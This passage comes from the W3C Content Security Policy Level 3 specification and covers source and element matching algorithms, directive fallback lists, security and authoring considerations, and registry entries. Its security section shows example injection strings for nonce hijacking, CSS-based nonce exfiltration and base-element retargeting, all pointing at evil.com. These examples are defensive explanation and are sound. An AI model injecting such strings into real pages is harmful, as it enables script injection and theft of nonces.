If expression is an ASCII case-insensitive match for "
'self'
", return "Matches
" if one or more of the following conditions is met:-
origin is the same as url ’s origin
-
origin ’s
host
is the same as url ’shost
, origin ’sport
and url ’sport
are either the same or the default ports for their respective scheme s, and one or more of the following conditions is met:
Note: Like the
scheme-part
logic above, the "'self'
" matching algorithm allows upgrades to secure schemes when it is safe to do so. We limit these upgrades to endpoints running on the default port for a particular scheme or a port that matches the origin of the protected resource, as this seems sufficient to deal with upgrades that can be reasonably expected to succeed. -
-
Return "
Does Not Match
".
6.6.2.7.
scheme-part
matching
An
ASCII
string
scheme-part
matches
another
ASCII
string
if
a
CSP
source
expression
that
contained
the
first
as
a
scheme-part
could
potentially
match
a
URL
containing
the
latter
as
a
scheme
.
For
example,
we
say
that
"http"
scheme-part
matches
"https".
Note:
The
matching
relation
is
asymmetric.
For
example,
the
source
expressions
https:
and
https://example.com/
do
not
match
the
URL
http://example.com/
.
We
always
allow
a
secure
upgrade
from
an
explicitly
insecure
expression.
script-src
http:
is
treated
as
equivalent
to
script-src
http:
https:
,
script-src
http://example.com
to
script-src
http://example.com
https://example.com
,
and
connect-src
ws:
to
connect-src
ws:
wss:
.
More
formally,
two
ASCII
strings
(
A
and
B
)
are
said
to
scheme-part
match
if
the
following
algorithm
returns
"
Matches
":
-
If one of the following is true, return "
Matches
":-
A is an ASCII case-insensitive match for B .
-
A is an ASCII case-insensitive match for "
http
", and B is an ASCII case-insensitive match for "https
". -
A is an ASCII case-insensitive match for "
ws
", and B is an ASCII case-insensitive match for "wss
", "http
", or "https
". -
A is an ASCII case-insensitive match for "
wss
", and B is an ASCII case-insensitive match for "https
".
-
-
Return "
Does Not Match
".
6.6.2.8.
host-part
matching
An
ASCII
string
host-part
matches
another
ASCII
string
if
a
CSP
source
expression
that
contained
the
first
as
a
host-part
could
potentially
match
a
URL
containing
the
latter
as
a
host
.
For
example,
we
say
that
"www.example.com"
host-part
matches
"www.example.com".
More
formally,
two
ASCII
strings
(
A
and
B
)
are
said
to
host-part
match
if
the
following
algorithm
returns
"
Matches
":
Note:
The
matching
relation
is
asymmetric.
That
is,
A
matching
B
does
not
mean
that
B
will
match
A
.
For
example,
*.example.com
host-part
matches
www.example.com
,
but
www.example.com
does
not
host-part
match
*.example.com
.
-
If the first character of A is an U+002A ASTERISK character (
*
):-
Let remaining be the result of removing the leading ("*") from A .
-
If remaining (including the leading U+002E FULL STOP character (
.
)) is an ASCII case-insensitive match for the rightmost characters of B , then return "Matches
". Otherwise, return "Does Not Match
".
-
-
If A is not an ASCII case-insensitive match for B , return "
Does Not Match
". -
If A matches the IPv4address rule from [RFC3986] , and is not "
127.0.0.1
"; or if A is an IPv6 address , return "Does Not Match
".Note: A future version of this specification may allow literal IPv6 and IPv4 addresses, depending on usage and demand. Given the weak security properties of IP addresses in relation to named hosts, however, authors are encouraged to prefer the latter whenever possible.
-
Return "
Matches
".
6.6.2.9.
port-part
matching
An
ASCII
string
(
port
A
)
port-part
matches
two
other
ASCII
strings
(
port
B
and
scheme
B
)
if
a
CSP
source
expression
that
contained
the
first
as
a
port-part
could
potentially
match
a
URL
containing
the
latter
as
port
and
scheme
.
For
example,
"80"
port-part
matches
matches
"80"/"http".
-
If port A is empty:
-
If port B is either empty or the default port for scheme B , return "
Matches
". Otherwise, return "Does Not Match
".
-
-
If port A is equal to "*", return "
Matches
". -
If port A is a case-sensitive match for port B , return "
Matches
". -
If port B is empty:
-
If port A is the default port for scheme B , return "
Matches
". Otherwise, return "Does not Match
".
-
-
Return "
Does Not Match
".
6.6.2.10.
path-part
matching
An
ASCII
string
(
path
A
)
path-part
matches
another
ASCII
string
(
path
B
)
if
a
CSP
source
expression
that
contained
the
first
as
a
path-part
could
potentially
match
a
URL
containing
the
latter
as
a
path
.
For
example,
we
say
that
"/subdirectory/"
path-part
matches
"/subdirectory/file".
Note: The matching relation is asymmetric. That is, path A matching path B does not mean that path B will match path A .
-
If path A is empty, return "
Matches
". -
If path A consists of one character that is equal to the U+002F SOLIDUS character (
/
) and path B is empty, return "Matches
". -
Let exact match be
false
if the final character of path A is the U+002F SOLIDUS character (/
), andtrue
otherwise. -
Let path list A and path list B be the result of strictly splitting path A and path B respectively on the U+002F SOLIDUS character (
/
). -
If path list A has more items than path list B , return "
Does Not Match
". -
If exact match is
true
, and path list A does not have the same number of items as path list B , return "Does Not Match
". -
If exact match is
false
:-
Assert: the final item in path list A is the empty string.
-
Remove the final item from path list A .
-
-
For each piece A in path list A :
-
Let piece B be the next item in path list B .
-
Percent decode piece A .
-
Percent decode piece B .
-
If piece A is not a case-sensitive match for piece B , return "
Does Not Match
".
-
-
Return "
Matches
".
6.6.3. Element Matching Algorithms
6.6.3.1. Is element nonceable?
Given
an
Element
(
element
),
this
algorithm
returns
"
Nonceable
"
if
a
nonce-source
expression
can
match
the
element
(as
discussed
in
§ 7.2
Nonce
Hijacking
),
and
"
Not
Nonceable
"
if
such
expressions
should
not
be
applied.
-
If element does not have an attribute named "
nonce
", return "Not Nonceable
". -
If element is a
script
element, then for each attribute in element :-
If attribute ’s name is an ASCII case-insensitive match for the string "
<script
" or the string "<style
", return "Not Nonceable
". -
If attribute ’s value contains an ASCII case-insensitive match the string "
<script
" or the string "<style
", return "Not Nonceable
".
-
-
If element had a duplicate-attribute parse error during tokenization, return "
Not Nonceable
".We need some sort of hook in HTML to record this error if we’re planning on using it here. <https://github.com/whatwg/html/issues/3257>
-
Return "
Nonceable
".
This
processing
is
meant
to
mitigate
the
risk
of
dangling
markup
attacks
that
steal
the
nonce
from
an
existing
element
in
order
to
load
injected
script.
It
is
fairly
expensive,
however,
as
it
requires
that
we
walk
through
all
attributes
and
their
values
in
order
to
determine
whether
the
script
should
execute.
Here,
we
try
to
minimize
the
impact
by
doing
this
check
only
for
script
elements
when
a
nonce
is
present,
but
we
should
probably
consider
this
algorithm
as
"at
risk"
until
we
know
its
impact.
<https://github.com/w3c/webappsec-csp/issues/98>
6.6.3.2. Does a source list allow all inline behavior for type ?
A
source
list
allows
all
inline
behavior
of
a
given
type
if
it
contains
the
keyword-source
expression
'unsafe-inline'
,
and
does
not
override
that
expression
as
described
in
the
following
algorithm:
Given
a
source
list
(
list
)
and
a
string
(
type
),
the
following
algorithm
returns
"
Allows
"
if
all
inline
content
of
a
given
type
is
allowed
and
"
Does
Not
Allow
"
otherwise.
-
Let allow all inline be
false
. -
For each expression in list :
-
If expression matches the
nonce-source
orhash-source
grammar, return "Does Not Allow
". -
If type is "
script
", "script attribute
" or "navigation
" and expression matches the keyword-source "'strict-dynamic'
", return "Does Not Allow
".Note:
'strict-dynamic'
only applies to scripts, not other resource types. Usage is explained in more detail in § 8.2 Usage of "'strict-dynamic'" . -
If expression is an ASCII case-insensitive match for the
keyword-source
"'unsafe-inline'
", set allow all inline totrue
.
-
-
If allow all inline is
true
, return "Allows
". Otherwise, return "Does Not Allow
".
'unsafe-inline' http://a.com http://b.com 'unsafe-inline'
Source
lists
that
do
not
allow
all
inline
behavior
due
to
the
presence
of
nonces
and/or
hashes,
or
absence
of
'
unsafe-inline
':
'sha512-321cba' 'nonce-abc' http://example.com 'unsafe-inline' 'nonce-abc'
Source
lists
that
do
not
allow
all
inline
behavior
when
type
is
'
script
'
or
'
script
attribute
'
due
to
the
presence
of
'
strict-dynamic
',
but
allow
all
inline
behavior
otherwise:
'unsafe-inline' 'strict-dynamic' http://example.com 'strict-dynamic' 'unsafe-inline'
6.6.3.3. Does element match source list for type and source ?
Given
an
Element
(
element
),
a
source
list
(
list
),
a
string
(
type
),
and
a
string
(
source
),
this
algorithm
returns
"
Matches
"
or
"
Does
Not
Match
".
Note:
Regardless
of
the
encoding
of
the
document,
source
will
be
converted
to
UTF-8
before
applying
any
hashing
algorithms.
-
If § 6.6.3.2 Does a source list allow all inline behavior for type? returns "
Allows
" given list and type , return "Matches
". -
If type is "
script
" or "style
", and § 6.6.3.1 Is element nonceable? returns "Nonceable
" when executed upon element :-
For each expression in list :
-
If expression matches the
nonce-source
grammar, and element has anonce
attribute whose value is a case-sensitive match for expression ’sbase64-value
part, return "Matches
".
-
Note: Nonces only apply to inline
script
and inlinestyle
, not to attributes of either element or tojavascript:
navigations. -
-
Let unsafe-hashes flag be
false
. -
For each expression in list :
-
If expression is an ASCII case-insensitive match for the
keyword-source
"'unsafe-hashes'
", set unsafe-hashes flag totrue
. Break out of the loop.
-
-
If type is "
script
" or "style
", or unsafe-hashes flag istrue
:-
Set source to the result of executing UTF-8 encode on the result of executing JavaScript string converting on source .
-
For each expression in list :
-
If expression matches the
hash-source
grammar:-
Let algorithm be
null
. -
If expression ’s
hash-algorithm
part is an ASCII case-insensitive match for "sha256", set algorithm to SHA-256 . -
If expression ’s
hash-algorithm
part is an ASCII case-insensitive match for "sha384", set algorithm to SHA-384 . -
If expression ’s
hash-algorithm
part is an ASCII case-insensitive match for "sha512", set algorithm to SHA-512 . -
If algorithm is not
null
:-
Let actual be the result of base64 encoding the result of applying algorithm to source .
-
Let expected be expression ’s
base64-value
part, with all '-
' characters replaced with '+
', and all '_
' characters replaced with '/
'.Note: This replacement normalizes hashes expressed in base64url encoding into base64 encoding for matching.
-
If actual is a case-sensitive match for expected , return "
Matches
".
-
-
-
Note: Hashes apply to inline
script
and inlinestyle
. If the "'unsafe-hashes'
" source expression is present, they will also apply to event handlers, style attributes andjavascript:
navigations. -
-
Return "
Does Not Match
".
6.7. Directive Algorithms
6.7.1. Get the effective directive for request
Each
fetch
directive
controls
a
specific
destination
of
request
.
Given
a
request
(
request
),
the
following
algorithm
returns
either
null
or
the
name
of
the
request’s
effective
directive
:
-
If request ’s initiator is "
fetch
" or its destination is "", returnconnect-src
. -
If request ’s initiator is "
prefetch
" or "prerender
", returnprefetch-src
. -
Switch on request ’s destination , and execute the associated steps:
-
"
manifest
" -
-
Return
manifest-src
.
-
-
"
object
"- "
embed
" - "
-
-
Return
object-src
.
-
-
"
document
" -
-
If the request ’s target browsing context is a nested browsing context , return
frame-src
.
-
-
"
audio
"- "
track
"- "
video
" - "
-
-
Return
media-src
.
-
-
"
font
" -
-
Return
font-src
.
-
-
"
image
" -
-
Return
img-src
.
-
-
"
style
" -
-
Return
style-src-elem
.
-
-
"
script
"- "
xslt
" - "
-
-
Return
script-src-elem
.
-
-
"
serviceworker
"- "
sharedworker
"- "
worker
" - "
-
-
Return
worker-src
.
-
-
"
-
Return
null
.
6.7.2. Get the effective directive for inline checks
Given a string ( type ), this algorithm returns the name of the effective directive.
Note: While the effective directive is only defined for requests , in this algorithm it is used similarly to mean the directive that is most relevant to a particular type of inline check.
-
Switch on type :
-
"
script
"- "
navigation
" - "
-
-
Return
script-src-elem
.
-
-
"
script attribute
" -
-
Return
script-src-attr
.
-
-
"
style
" -
-
Return
style-src-elem
.
-
-
"
style attribute
" -
-
Return
style-src-attr
.
-
-
"
-
Return
null
.
6.7.3. Get fetch directive fallback list
Will return an ordered set of the fallback directives for a specific directive . The returned ordered set is sorted from most relevant to least relevant and it includes the effective directive itself.
Given a string ( directive name ):
-
Switch on directive name :
-
"
script-src-elem
" -
-
Return
<< "script-src-elem", "script-src", "default-src" >>
.
-
-
"
script-src-attr
" -
-
Return
<< "script-src-attr", "script-src", "default-src" >>
.
-
-
"
style-src-elem
" -
-
Return
<< "style-src-elem", "style-src", "default-src" >>
.
-
-
"
style-src-attr
" -
-
Return
<< "style-src-attr", "style-src", "default-src" >>
.
-
-
"
worker-src
" -
-
Return
<< "worker-src", "child-src", "script-src", "default-src" >>
.
-
-
"
connect-src
" -
-
Return
<< "connect-src", "default-src" >>
.
-
-
"
manifest-src
" -
-
Return
<< "manifest-src", "default-src" >>
.
-
-
"
prefetch-src
" -
-
Return
<< "prefetch-src", "default-src" >>
.
-
-
"
object-src
" -
-
Return
<< "object-src", "default-src" >>
.
-
-
"
frame-src
" -
-
Return
<< "frame-src", "child-src", "default-src" >>
.
-
-
"
media-src
" -
-
Return
<< "media-src", "default-src" >>
.
-
-
"
font-src
" -
-
Return
<< "font-src", "default-src" >>
.
-
-
"
img-src
" -
-
Return
<< "img-src", "default-src" >>
.
-
-
"
-
Return
<< >>
.
6.7.4. Should fetch directive execute
This
algorithm
is
used
for
fetch
directives
to
decide
whether
a
directive
should
execute
or
defer
to
a
different
directive
that
is
better
suited.
For
example:
if
the
effective
directive
name
is
worker-src
(meaning
that
we
are
currently
checking
a
worker
request),
a
default-src
directive
should
not
execute
if
a
worker-src
or
script-src
directive
exists.
Given a string ( effective directive name ), a string ( directive name ) and a policy ( policy ):
-
Let directive fallback list be the result of executing § 6.7.3 Get fetch directive fallback list on effective directive name .
-
For each fallback directive in directive fallback list :
-
If directive name is fallback directive , Return "
Yes
". -
If policy contains a directive whose name is fallback directive , Return "
No
".
-
-
Return "
No
".
7. Security and Privacy Considerations
7.1. Nonce Reuse
Nonces override the other restrictions present in the directive in which they’re delivered. It is critical, then, that they remain unguessable, as bypassing a resource’s policy is otherwise trivial.
If a server delivers a nonce-source expression as part of a policy , the server MUST generate a unique value each time it transmits a policy. The generated value SHOULD be at least 128 bits long (before encoding), and SHOULD be generated via a cryptographically secure random number generator in order to ensure that the value is difficult for an attacker to predict.
Note: Using a nonce to allow inline script or style is less secure than not using a nonce, as nonces override the restrictions in the directive in which they are present. An attacker who can gain access to the nonce can execute whatever script they like, whenever they like. That said, nonces provide a substantial improvement over 'unsafe-inline' when layering a content security policy on top of old code. When considering 'unsafe-inline' , authors are encouraged to consider nonces (or hashes) instead.
7.2. Nonce Hijacking
7.2.1. Dangling markup attacks
Dangling
markup
attacks
such
as
those
discussed
in
[FILEDESCRIPTOR-2015]
can
be
used
to
repurpose
a
page’s
legitimate
nonces
for
injections.
For
example,
given
an
injection
point
before
a
script
element:
< p > Hello, [INJECTION POINT]</ p > < script nonce = abc src = /good.js ></ script >
If
an
attacker
injects
the
string
"
<script
src='https://evil.com/evil.js'
",
then
the
browser
will
receive
the
following:
< p > Hello,< script src = 'https://evil.com/evil.js' </p > < script nonce= abc src= /good.js></ script >
It
will
then
parse
that
code,
ending
up
with
a
script
element
with
a
src
attribute
pointing
to
a
malicious
payload,
an
attribute
named
</p>
,
an
attribute
named
"
<script
",
a
nonce
attribute,
and
a
second
src
attribute
which
is
helpfully
discarded
as
duplicate
by
the
parser.
The
§ 6.6.3.1
Is
element
nonceable?
algorithm
attempts
to
mitigate
this
specific
attack
by
walking
through
script
or
style
element
attributes,
looking
for
the
string
"
<script
"
or
"
<style
"
in
their
names
or
values.
User-agents must pay particular attention when implementing this algorithm to not ignore duplicate attributes. If an element has a duplicate attribute any instance of the attribute after the first one is ignored but in the § 6.6.3.1 Is element nonceable? algorithm, all attributes including the duplicate ones need to be checked.
Currently the HTML spec’s parsing algorithm removes this information before the § 6.6.3.1 Is element nonceable? algorithm can be run which makes it impossible to actually detect duplicate attributes. <https://github.com/whatwg/html/issues/3257>
For the following example page:
Hello, [INJECTION POINT]< script nonce = abc src = /good.js ></ script >
The following injected string will use a duplicate attribute to attempt to bypass the § 6.6.3.1 Is element nonceable? algorithm check:
Hello,< script src = 'https://evil.com/evil.js' x = "" x = <script nonce = "abcd" src = /good.js ></ script >
7.2.2. Nonce exfiltration via content attributes
Some attacks on CSP rely on the ability to exfiltrate nonce data via various mechanisms that can read content attributes. CSS selectors are the best example: through clever use of prefix/postfix text matching selectors values can be sent out to an attacker’s server for reuse. Example:
script[nonce=a] { background : url ( "https://evil.com/nonce?a" );}
The
nonce
section
talks
about
mitigating
these
types
of
attacks
by
hiding
the
nonce
from
the
element’s
content
attribute
and
moving
it
into
an
internal
slot.
This
is
done
to
ensure
that
the
nonce
value
is
exposed
to
scripts
but
not
any
other
non-script
channels.
7.3. Nonce Retargeting
Nonces
bypass
host-source
expressions,
enabling
developers
to
load
code
from
any
origin.
This,
generally,
is
fine,
and
desirable
from
the
developer’s
perspective.
However,
if
an
attacker
can
inject
a
base
element,
then
an
otherwise
safe
page
can
be
subverted
when
relative
URLs
are
resolved.
That
is,
on
https://example.com/
the
following
code
will
load
https://example.com/good.js
:
< script nonce = abc src = /good.js ></ script >
However,
the
following
will
load
https://evil.com/good.js
:
< base href = "https://evil.com" > < script nonce = abc src = /good.js ></ script >
To
mitigate
this
risk,
it
is
advisable
to
set
an
explicit
base
element
on
every
page,
or
to
limit
the
ability
of
an
attacker
to
inject
their
own
base
element
by
setting
a
base-uri
directive
in
your
page’s
policy.
For
example,
base-uri
'none'
.
7.4. CSS Parsing
The style-src directive restricts the locations from which the protected resource can load styles. However, if the user agent uses a lax CSS parsing algorithm, an attacker might be able to trick the user agent into accepting malicious "stylesheets" hosted by an otherwise trustworthy origin.
These attacks are similar to the CSS cross-origin data leakage attack described by Chris Evans in 2009 [CSS-ABUSE] . User agents SHOULD defend against both attacks using the same mechanism: stricter CSS parsing rules for style sheets with improper MIME types.
7.5. Violation Reports
The
violation
reporting
mechanism
in
this
document
has
been
designed
to
mitigate
the
risk
that
a
malicious
web
site
could
use
violation
reports
to
probe
the
behavior
of
other
servers.
For
example,
consider
a
malicious
web
site
that
allows
https://example.com
as
a
source
of
images.
If
the
malicious
site
attempts
to
load
https://example.com/login
as
an
image,
and
the
example.com
server
redirects
to
an
identity
provider
(e.g.
identityprovider.example.net
),
CSP
will
block
the
request.
If
violation
reports
contained
the
full
blocked
URL,
the
violation
report
might
contain
sensitive
information
contained
in
the
redirected
URL,
such
as
session
identifiers
or
purported
identities.
For
this
reason,
the
user
agent
includes
only
the
URL
of
the
original
request,
not
the
redirect
target.
Note
also
that
violation
reports
should
be
considered
attacker-controlled
data.
Developers
who
wish
to
collect
violation
reports
in
a
dashboard
or
similar
service
should
be
careful
to
properly
escape
their
content
before
rendering
it
(and
should
probably
themselves
use
CSP
to
further
mitigate
the
risk
of
injection).
This
is
especially
true
for
the
"
script-sample
"
property
of
violation
reports,
and
the
sample
property
of
SecurityPolicyViolationEvent
,
which
are
both
completely
attacker-controlled
strings.
7.6. Paths and Redirects
To
avoid
leaking
path
information
cross-origin
(as
discussed
in
Egor
Homakov’s
Using
Content-Security-Policy
for
Evil
),
the
matching
algorithm
ignores
the
path
component
of
a
source
expression
if
the
resource
being
loaded
is
the
result
of
a
redirect.
For
example,
given
a
page
with
an
active
policy
of
img-src
example.com
example.org/path
:
-
Directly loading
https://example.org/not-path
would fail, as it doesn’t match the policy. -
Directly loading
https://example.com/redirector
would pass, as it matchesexample.com
. -
Assuming that
https://example.com/redirector
delivered a redirect response pointing tohttps://example.org/not-path
, the load would succeed, as the initial URL matchesexample.com
, and the redirect target matchesexample.org/path
if we ignore its path component.
This restriction reduces the granularity of a document’s policy when redirects are in play, a necessary compromise to avoid brute-forced information leaks of this type.
The relatively long thread "Remove paths from CSP?" from public-webappsec@w3.org has more detailed discussion around alternate proposals.
7.7. Secure Upgrades
To
mitigate
one
variant
of
history-scanning
attacks
like
Yan
Zhu’s
Sniffly
,
CSP
will
not
allow
pages
to
lock
themselves
into
insecure
URLs
via
policies
like
script-src
http://example.com
.
As
described
in
§ 6.6.2.7
scheme-part
matching
,
the
scheme
portion
of
a
source
expression
will
always
allow
upgrading
to
a
secure
variant.
7.8. CSP Inheriting to avoid bypasses
As
described
in
§ 4.2.1
Initialize
a
Document's
CSP
list
and
§ 4.2.2
Initialize
a
global
object’s
CSP
list
,
documents
loaded
from
local
schemes
will
inherit
a
copy
of
the
policies
in
the
source
browsing
context
.
The
goal
is
to
ensure
that
a
page
can’t
bypass
its
policy
by
embedding
a
frame
or
opening
a
new
window
containing
content
that
is
entirely
under
its
control
(
srcdoc
documents,
blob:
or
data:
URLs,
about:blank
documents
that
can
be
manipulated
via
document.write()
,
etc).
unsafe-inline
in
the
page’s
execution
context
by
simply
embedding
a
srcdoc
iframe
.
< iframe srcdoc = "<script>alert(1);</script>" ></ iframe >
Note
that
we
create
a
copy
of
the
CSP
list
which
means
that
the
new
Document
's
CSP
list
is
a
snapshot
of
the
relevant
policies
at
its
creation
time.
Modifications
in
the
CSP
list
of
the
new
Document
won’t
affect
the
source
browsing
context
’s
CSP
list
or
vice-versa.
meta
tag
of
the
iframe.
The
image
outside
the
iframe
will
load
(assuming
the
main
page
policy
does
not
block
it)
since
the
policy
inserted
in
the
iframe
will
not
affect
it.
< iframe srcdoc = '<meta http-equiv="Content-Security-Policy" content="img-src example.com;"> <img src="not-example.com/image">' ></ iframe > < img src = "not-example.com/image" >
8. Authoring Considerations
8.1. The effect of multiple policies
This section is not normative.
The
above
sections
note
that
when
multiple
policies
are
present,
each
must
be
enforced
or
reported,
according
to
its
type.
An
example
will
help
clarify
how
that
ought
to
work
in
practice.
The
behavior
of
an
XMLHttpRequest
might
seem
unclear
given
a
site
that,
for
whatever
reason,
delivered
the
following
HTTP
headers:
Content-Security-Policy: default-src 'self' http://example.com http://example.net; connect-src 'none'; Content-Security-Policy: connect-src http://example.com/; script-src http://example.com/
Is
a
connection
to
example.com
allowed
or
not?
The
short
answer
is
that
the
connection
is
not
allowed.
Enforcing
both
policies
means
that
a
potential
connection
would
have
to
pass
through
both
unscathed.
Even
though
the
second
policy
would
allow
this
connection,
the
first
policy
contains
connect-src
'none'
,
so
its
enforcement
blocks
the
connection.
The
impact
is
that
adding
additional
policies
to
the
list
of
policies
to
enforce
can
only
further
restrict
the
capabilities
of
the
protected
resource.
To
demonstrate
that
further,
consider
a
script
tag
on
this
page.
The
first
policy
would
lock
scripts
down
to
'self'
,
http://example.com
and
http://example.net
via
the
default-src
directive.
The
second,
however,
would
only
allow
script
from
http://example.com/
.
Script
will
only
load
if
it
meets
both
policy’s
criteria:
in
this
case,
the
only
origin
that
can
match
is
http://example.com
,
as
both
policies
allow
it.
8.2.
Usage
of
"
'strict-dynamic'
"
Host- and path-based policies are tough to get right, especially on sprawling origins like CDNs. The solutions to Cure53’s H5SC Minichallenge 3: "Sh*t, it’s CSP!" [H5SC3] are good examples of the kinds of bypasses which such policies can enable, and though CSP is capable of mitigating these bypasses via exhaustive declaration of specific resources, those lists end up being brittle, awkward, and difficult to implement and maintain.
The
"
'strict-dynamic'
"
source
expression
aims
to
make
Content
Security
Policy
simpler
to
deploy
for
existing
applications
who
have
a
high
degree
of
confidence
in
the
scripts
they
load
directly,
but
low
confidence
in
their
ability
to
provide
a
reasonable
list
of
resources
to
load
up
front.
If
present
in
a
script-src
or
default-src
directive,
it
has
two
main
effects:
-
host-source and scheme-source expressions, as well as the "
'unsafe-inline'
" and "'self'
keyword-source s will be ignored when loading script.hash-source and nonce-source expressions will be honored.
-
Script requests which are triggered by non- "parser-inserted"
script
elements are allowed.
The
first
change
allows
you
to
deploy
"
'strict-dynamic'
in
a
backwards
compatible
way,
without
requiring
user-agent
sniffing:
the
policy
'unsafe-inline'
https:
'nonce-abcdefg'
'strict-dynamic'
will
act
like
'unsafe-inline'
https:
in
browsers
that
support
CSP1,
https:
'nonce-DhcnhD3khTMePgXwdayK9BsMqXjhguVV'
in
browsers
that
support
CSP2,
and
'nonce-DhcnhD3khTMePgXwdayK9BsMqXjhguVV'
'strict-dynamic'
in
browsers
that
support
CSP3.
The second allows scripts which are given access to the page via nonces or hashes to bring in their dependencies without adding them explicitly to the page’s policy.
Content-Security-Policy: script-src 'nonce-DhcnhD3khTMePgXwdayK9BsMqXjhguV' 'strict-dynamic'
And serves the following HTML with that policy active:
...< script src = "https://cdn.example.com/script.js" nonce = "DhcnhD3khTMePgXwdayK9BsMqXjhguVV" ></ script > ...
This
will
generate
a
request
for
https://cdn.example.com/script.js
,
which
will
not
be
blocked
because
of
the
matching
nonce
attribute.
If
script.js
contains
the
following
code:
var s= document. createElement( 'script' ); s. src= 'https://othercdn.not-example.net/dependency.js' ; document. head. appendChild( s); document. write( '<scr' + 'ipt src="/sadness.js"></scr' + 'ipt>' );
dependency.js
will
load,
as
the
script
element
created
by
createElement()
is
not
"parser-inserted"
.
sadness.js
will
not
load,
however,
as
document.write()
produces
script
elements
which
are
"parser-inserted"
.
Note: With 'strict-dynamic' , scripts created at runtime will be allowed to execute. If the location of such a script can be controlled by an attacker, the policy will then allow the loading of arbitrary scripts. Developers that use 'strict-dynamic' in their policy should audit the uses of non-parser-inserted APIs and ensure that they are not invoked with potentially untrusted data. This includes applications or frameworks that tend to determine script locations at runtime.
8.3.
Usage
of
"
'unsafe-hashes'
"
This section is not normative.
Legacy
websites
and
websites
with
legacy
dependencies
might
find
it
difficult
to
entirely
externalize
event
handlers.
These
sites
could
enable
such
handlers
by
allowing
'unsafe-inline'
,
but
that’s
a
big
hammer
with
a
lot
of
associated
risk
(and
cannot
be
used
in
conjunction
with
nonces
or
hashes).
The
"
'unsafe-hashes'
"
source
expression
aims
to
make
CSP
deployment
simpler
and
safer
in
these
situations
by
allowing
developers
to
enable
specific
handlers
via
hashes.
< button id = "action" onclick = "doSubmit()" >
Rather
than
reducing
security
by
specifying
"
'unsafe-inline'
",
they
decide
to
use
"
'unsafe-hashes'
"
along
with
a
hash
source
expression,
as
follows:
Content-Security-Policy: script-src 'unsafe-hashes' 'sha256-jzgBGA4UWFFmpOBq0JpdsySukE1FrEN5bUpoK8Z29fY='
The
capabilities
'unsafe-hashes'
provides
is
useful
for
legacy
sites,
but
should
be
avoided
for
modern
sites.
In
particular,
note
that
hashes
allow
a
particular
script
to
execute,
but
do
not
ensure
that
it
executes
in
the
way
a
developer
intends.
If
an
interesting
capability
is
exposed
as
an
inline
event
handler
(say
<a
onclick="transferAllMyMoney()">Transfer</a>
),
then
that
script
becomes
available
for
an
attacker
to
inject
as
<script>transferAllMyMoney()</script>
.
Developers
should
be
careful
to
balance
the
risk
of
allowing
specific
scripts
to
execute
against
the
deployment
advantages
that
allowing
inline
event
handlers
might
provide.
8.4. Allowing external JavaScript via hashes
In [CSP2] , hash source expressions could only match inlined script, but now that Subresource Integrity [SRI] is widely deployed, we can expand the scope to enable externalized JavaScript as well.
If
multiple
sets
of
integrity
metadata
are
specified
for
a
script
,
the
request
will
match
a
policy’s
hash-source
s
if
and
only
if
each
item
in
a
script
's
integrity
metadata
matches
the
policy.
Note:
The
CSP
spec
specifies
that
the
contents
of
an
inline
script
element
or
event
handler
needs
to
be
encoded
using
UTF-8
encode
before
computing
its
hash.
[SRI]
computes
the
hash
on
the
raw
resource
that
is
being
fetched
instead.
This
means
that
it
is
possible
for
the
hash
needed
to
whitelist
an
inline
script
block
to
be
different
that
the
hash
needed
to
whitelist
an
external
script
even
if
they
have
identical
contents.
Content-Security-Policy: script-src 'sha256-abc123' 'sha512-321cba'
In
the
presence
of
that
policy,
the
following
script
elements
would
be
allowed
to
execute
because
they
contain
only
integrity
metadata
that
matches
the
policy:
< script integrity = "sha256-abc123" ...></ script > < script integrity = "sha512-321cba" ...></ script > < script integrity = "sha256-abc123 sha512-321cba" ...></ script >
While
the
following
script
elements
would
not
execute
because
they
contain
valid
metadata
that
does
not
match
the
policy
(even
though
other
metadata
does
match):
< script integrity = " sha384-xyz789 " ...></ script > < script integrity = " sha384-xyz789 sha512-321cba" ...></ script > < script integrity = "sha256-abc123 sha384-xyz789 sha512-321cba" ...></ script >
Metadata that is not recognized (either because it’s entirely invalid, or because it specifies a not-yet-supported hashing algorithm) does not affect the behavior described here. That is, the following elements would be allowed to execute in the presence of the above policy, as the additional metadata is invalid and therefore wouldn’t allow a script whose content wasn’t listed explicitly in the policy to execute:
< script integrity = "sha256-abc123 sha1024-abcd " ...></ script > < script integrity = "sha512-321cba entirely-invalid " ...></ script > < script integrity = "sha256-abc123 not-a-hash-at-all sha512-321cba" ...></ script >
9. Implementation Considerations
9.1. Vendor-specific Extensions and Addons
Policy enforced on a resource SHOULD NOT interfere with the operation of user-agent features like addons, extensions, or bookmarklets. These kinds of features generally advance the user’s priority over page authors, as espoused in [HTML-DESIGN] .
Moreover, applying CSP to these kinds of features produces a substantial amount of noise in violation reports, significantly reducing their value to developers.
Chrome,
for
example,
excludes
the
chrome-extension:
scheme
from
CSP
checks,
and
does
some
work
to
ensure
that
extension-driven
injections
are
allowed,
regardless
of
a
page’s
policy.
10. IANA Considerations
10.1. Directive Registry
The Content Security Policy Directive registry should be updated with the following directives and references [RFC7762] :
-
base-uri
-
This document (see § 6.2.1 base-uri )
-
child-src
-
This document (see § 6.1.1 child-src )
-
connect-src
-
This document (see § 6.1.2 connect-src )
-
default-src
-
This document (see § 6.1.3 default-src )
-
font-src
-
This document (see § 6.1.4 font-src )
-
form-action
-
This document (see § 6.3.1 form-action )
-
frame-ancestors
-
This document (see § 6.3.2 frame-ancestors )
-
frame-src
-
This document (see § 6.1.5 frame-src )
-
img-src
-
This document (see § 6.1.6 img-src )
-
manifest-src
-
This document (see § 6.1.7 manifest-src )
-
media-src
-
This document (see § 6.1.8 media-src )
-
object-src
-
This document (see § 6.1.9 object-src )
-
plugin-types
-
This document (see § 6.2.2 plugin-types )
-
report-uri
-
This document (see § 6.4.1 report-uri )
-
report-to
-
This document (see § 6.4.2 report-to )
-
sandbox
-
This document (see § 6.2.3 sandbox )
-
script-src
-
This document (see § 6.1.11 script-src )
-
script-src-attr
-
This document (see § 6.1.13 script-src-attr )
-
script-src-elem
-
This document (see § 6.1.12 script-src-elem )
-
style-src
-
This document (see § 6.1.14 style-src )
-
style-src-attr
-
This document (see § 6.1.16 style-src-attr )
-
style-src-elem
-
This document (see § 6.1.15 style-src-elem )
-
worker-src
-
This document (see § 6.1.17 worker-src )
10.2. Headers
The permanent message header field registry should be updated with the following registrations: [RFC3864]
10.2.1. Content-Security-Policy
- Header field name
- Content-Security-Policy
- Applicable protocol
- http
- Status
- standard
- Author/Change controller
- W3C
- Specification document
- This specification (See § 3.1 The Content-Security-Policy HTTP Response Header Field )
10.2.2. Content-Security-Policy-Report-Only
- Header field name
- Content-Security-Policy-Report-Only
